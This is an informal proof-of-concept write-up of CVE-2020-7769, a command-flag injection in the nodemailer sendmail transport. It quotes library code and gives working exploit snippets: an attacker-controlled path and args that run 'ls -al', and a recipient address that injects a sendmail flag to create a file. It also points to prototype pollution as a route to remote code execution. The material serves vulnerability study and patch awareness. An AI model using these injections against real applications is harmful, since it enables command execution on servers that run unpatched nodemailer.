Try   HackMD

[POC] CVE-2020-7769 - Command Injection in nodemailer

Introduction

Command Injection in nodemailer

Someday, i read some product code and found out that application using nodemailer to send email. After spending some second to audit package-lock file, i saw it had this CVE.

But i read that details and their POC, i still not understand what they want to deliver.

Found their commit to fix their bug and already know where the bug from
https://github.com/nodemailer/nodemailer/commit/ba31c64c910d884579875c52d57ac45acc47aa54

It comes from send function, with arbitrary command flag injection in sendmail transport.

POC

I found they have their test case that

client.send(
            {
                data: {},
                message: new MockBuilder(
                    {
                        from: 'test@valid.sender',
                        to: '-d0.1a@example.com' //this line will print sendmail detail
                    },
                    'message\r\nline 2'
                )
            },
            function (err, data) {
            }
        );

Yeah it just work on Unix-base OS and i test it with my Windows laptop :)))))

But I dig deeper and find some good things

constructor(options) {
        options = options || {};

        // use a reference to spawn for mocking purposes
        this._spawn = spawn;

        this.options = options || {};

        this.name = 'Sendmail';
        this.version = packageData.version;

        this.path = 'sendmail';
        this.args = false;
        this.winbreak = false;

        this.logger = shared.getLogger(this.options, {
            component: this.options.component || 'sendmail'
        });

        if (options) {
            if (typeof options === 'string') {
                this.path = options;
            } else if (typeof options === 'object') {
                if (options.path) {
                    this.path = options.path;
                }
                if (Array.isArray(options.args)) {
                    this.args = options.args;
                }
                this.winbreak = ['win', 'windows', 'dos', '\r\n'].includes((options.newline || '').toString().toLowerCase());
            }
        }
    }

This is their constructor and we can find good things that we can control
path, args variable by passing these property in options

So i craft this one to exploit

let client = new SendmailTransport({
        host: "smtp.ethereal.email",
        port: 587,
        secure: false,
        auth: {
            user: "rudolph53@ethereal.email", //fake email
            pass: "sR3KWXG8p3DhUrwant", //fake pass
        },
        path: 'ls',
        args: ['-al']
    });

    client.send({
        data: {},
        message: new MockBuilder({
            from: 'rudolph53@ethereal.email',
            to: '/' //this is directory
        }, 'message\r\nline 2')
    }, (err, info) => {
    })

It will list all file in directory /

But i see that almost developer don’t use send function to send email, they use sendMail instead

Then i have to read code again and i found we can exploit not just from send function.

In this code in library

module.exports.createTransport = function (transporter, defaults) {
    let urlConfig;
    let options;
    let mailer;

    if (
        // provided transporter is a configuration object, not transporter plugin
        (typeof transporter === 'object' && typeof transporter.send !== 'function') ||
        // provided transporter looks like a connection url
        (typeof transporter === 'string' && /^(smtps?|direct):/i.test(transporter))
    ) {
        if ((urlConfig = typeof transporter === 'string' ? transporter : transporter.url)) {
            // parse a configuration URL into configuration options
            options = shared.parseConnectionUrl(urlConfig);
        } else {
            options = transporter;
        }

        if (options.pool) {
            transporter = new SMTPPool(options);
        } else if (options.sendmail) {
            transporter = new SendmailTransport(options);
        } else if (options.streamTransport) {
            transporter = new StreamTransport(options);
        } else if (options.jsonTransport) {
            transporter = new JSONTransport(options);
        } else if (options.SES) {
            transporter = new SESTransport(options);
        } else {
            transporter = new SMTPTransport(options);
        }
    }

    mailer = new Mailer(transporter, options, defaults);

    return mailer;
};

It will bind new SendmailTransport if in options contain property sendmail

So i will define sendmail property without falsy value like this one, and tada we can inject command flag

const transport = nodeMailer.createTransport({
        host: "smtp.ethereal.email",
        port: 587,
        secure: false,
        auth: {
            user: "rudolph53@ethereal.email",
            pass: "sR3KWXG8p3DhUrwant",
        },
        sendmail: {} //define without falsy value
    })

    transport.sendMail({
        from: 'rudolph53@ethereal.email',
        to: '-Dabcas.txt@ethereal.email', //it will create file
        subject: '123',
        text: 'sibaaa'
    })

But if we can find in that application have vulnerable with Prototype Pollution, you can RCE it with this one
https://book.hacktricks.xyz/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce#spawn-exploitation

Because it use spawn of child_process that i show before

And that application will f* up :)))))))

So, i show you 2 ways to exploit with that CVE, kkkk